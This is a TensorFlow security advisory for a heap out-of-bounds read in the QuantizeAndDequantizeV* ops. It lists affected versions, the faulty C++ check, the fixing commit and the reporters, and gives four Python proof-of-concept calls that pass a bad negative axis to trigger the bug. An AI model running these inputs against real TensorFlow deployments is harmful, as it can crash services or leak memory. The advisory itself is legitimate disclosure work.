GHSA-49rx-x2rw-pc6f Heap OOB read in all `tf.raw_ops.QuantizeAndDequantizeV*` ops

• PyPI tensorflow: >= 2.6.0, < 2.6.1 → fixed in 2.6.1 • PyPI tensorflow: >= 2.5.0, < 2.5.2 → fixed in 2.5.2 • PyPI tensorflow: < 2.4.4 → fixed in 2.4.4 • PyPI tensorflow-cpu: >= 2.6.0, < 2.6.1 → fixed in 2.6.1 • PyPI tensorflow-cpu: >= 2.5.0, < 2.5.2 → fixed in 2.5.2 • PyPI tensorflow-cpu: < 2.4.4 → fixed in 2.4.4 • PyPI tensorflow-gpu: >= 2.6.0, < 2.6.1 → fixed in 2.6.1 • PyPI tensorflow-gpu: >= 2.5.0, < 2.5.2 → fixed in 2.5.2 • PyPI tensorflow-gpu: < 2.4.4 → fixed in 2.4.4

Impact The shape inference functions for the `QuantizeAndDequantizeV*` operations can trigger a read outside of bounds of heap allocated array as illustrated in the following sets of PoCs: ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4Grad( gradients=[1.0,1.0], input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], axis=-100) return data test() ``` ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV4( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode='HALF_TO_EVEN', narrow_range=False, axis=-100) return data test() ``` ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV3( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, narrow_range=False, axis=-100) return data test() ``` ```python import tensorflow as tf @tf.function def test(): data=tf.raw_ops.QuantizeAndDequantizeV2( input=[1.0,1.0], input_min=[1.0,10.0], input_max=[1.0,10.0], signed_input=False, num_bits=10, range_given=False, round_mode='HALF_TO_EVEN', narrow_range=False, axis=-100) return data test() ``` In all of these cases, `axis` is a negative value different than the special value used for optional/unknown dimensions (i.e., -1). However, the code ignores the occurences of these values: ```cc ... if (axis != -1) { ... c->Dim(input, axis); ... } ``` Patches We have patched the issue in GitHub commit 7cf73a2274732c9d82af51c2bc2cf90d13cd7e6d. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.